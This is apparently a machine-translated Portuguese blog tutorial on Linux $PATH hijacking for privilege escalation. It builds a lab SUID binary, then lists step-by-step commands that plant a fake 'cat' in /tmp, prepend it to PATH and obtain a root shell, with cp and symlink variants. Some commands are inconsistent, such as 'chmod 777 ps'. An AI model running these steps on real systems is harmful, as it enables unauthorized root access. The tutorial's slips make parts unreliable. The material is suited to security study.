Escalonamento de privilégios de variáveis de ambiente

Escalonamento de privilégios de variáveis ​​de ambiente

$PATH环境变量Obtenha o privilégio de root do host remoto através de vários métodos de controle

O que é $PATH?

$PATH é uma variável de ambiente em sistemas operacionais Linux e semelhantes a Unix, que especifica os diretórios bin e sbin onde todos os programas executáveis ​​são armazenados. Quando um usuário executa qualquer comando no terminal, ele faz uma solicitação ao shell para procurar arquivos executáveis ​​em resposta ao comando executado pelo usuário com a ajuda de variáveis ​​de ambiente. Os superusuários também normalmente possuem entradas /sbin e /usr/sbin para facilitar a execução de comandos de administração do sistema.

echoVocê pode visualizar facilmente as variáveis ​​de ambiente relacionadas ao usuário atual com o comando.

echo $PATH

/usr/local/bin
/usr/bin
/bin
/usr/local/games
/usr/game

princípio

Acho que o princípio do escalonamento de privilégios da variável de ambiente é adulterar o caminho absoluto de um comando na frente da variável de ambiente (por exemplo, adicioná-lo ao front/tmp/cat ) e, quando executarmos um comando, daremos prioridade a encontrar este comando na frente do $PATHcaminho da variável de ambiente, assumindo que um determinado script shell(com autoridade SUID) executa cato comando, então descubra /tmp/cat, seu conteúdo é /bin/bash, então de acordo com o escalonamento de privilégio SUID, ele será executado com privilégio de root /bin/bash, e o privilégio será escalado com sucesso para root

exemplo

Agora nosso diretório atual é /home/raj, criaremos um diretório srcipt no diretório atual. Em seguida, vá para o diretório de script e escreva um programa C simples para chamar a função do arquivo binário do sistema.

pwd
mkdir script
cd /script
nano demo.c

imagem-20230816144532193

demonstração.c:

#include<unistd.h>
void main()
{
    
    
	setuid(0);
	setgid(0);
	system("cat /etc/passwd");
}

Em seguida, use gcc para compilar o arquivo demo.c e dê permissão SUID ao arquivo compilado

ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

imagem-20230816144937121

Iniciar um ataque
Primeiro, você precisa invadir o sistema da máquina alvo e entrar no estágio de escalonamento de privilégios. Supondo que você tenha feito login com sucesso na máquina de destino por meio de ssh, além de qualquer outra coisa, usamos diretamente o comando find para procurar arquivos com permissões SUID ou 4000.

find / -perm -u=s -type f 2>/dev/null

Ao executar o comando acima, o invasor pode percorrer qualquer arquivo executável. Aqui podemos ver que o arquivo shell no diretório /home/raj/script tem permissão SUID, conforme mostrado na figura:

imagem-20230816145033612

Então, vamos para o diretório /home/raj/script/, ls, e vemos o arquivo executável chamado shell.

cd /tmp
echo “/bin/bash” > cat
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

imagem-20230816145223049

Escalonamento de privilégios bem-sucedido

Além echodo comando, você também pode usar o copycomandosymlink

cd /home/raj/script/
cp /bin/sh /tmp/cat
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
ln -s /bin/sh cat
export PATH=.:$PATH
./shell
id
whoami

A chave para o escalonamento de privilégios da variável de ambiente é encontrar um SUIDarquivo executável com permissões, e ele chamará alguns comandos do sistema, podemos chamar o conteúdo no comando personalizado modificando a variável de ambiente

Artigos relacionados

https://xz.aliyun.com/t/2767

Acho que você gosta

Origin blog.csdn.net/qq_61839115/article/details/132320122
Recomendado
Clasificación